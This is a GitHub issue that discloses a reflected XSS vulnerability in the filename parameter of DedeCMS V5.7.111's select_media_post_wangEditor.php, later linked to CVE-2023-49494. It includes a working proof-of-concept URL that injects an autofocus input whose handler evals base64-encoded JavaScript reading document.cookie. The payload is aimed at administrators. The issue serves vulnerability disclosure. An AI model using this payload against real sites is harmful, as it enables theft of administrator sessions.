search

Hebing123 / cve

0 stars 0 forks source link

DedeCMS-V5.7.111 Reflective XSS vulnerability in select_media_post_wangEditor.php #3

Open Hebing123 opened 10 months ago

Hebing123 commented 10 months ago

Description DedeCMS-V5.7.111 has Reflective XSS vulnerability in filename parameter of select_media_post_wangEditor.php

Proof of Concept

http://192.168.160.132:1434/uploads/include/dialog/select_media_post_wangEditor.php?filename=1%3Cinput%20onfocus=eval(atob(this.id))%20id=YWxlcnQoZG9jdW1lbnQuY29va2llKTs=%20autofocus%3E

image

Impact Reflective XSS vulnerability triggered by administrator accessing the link.

Hebing123 commented 8 months ago

This is the vulnerability exploitation reference for CVE-2023-49494.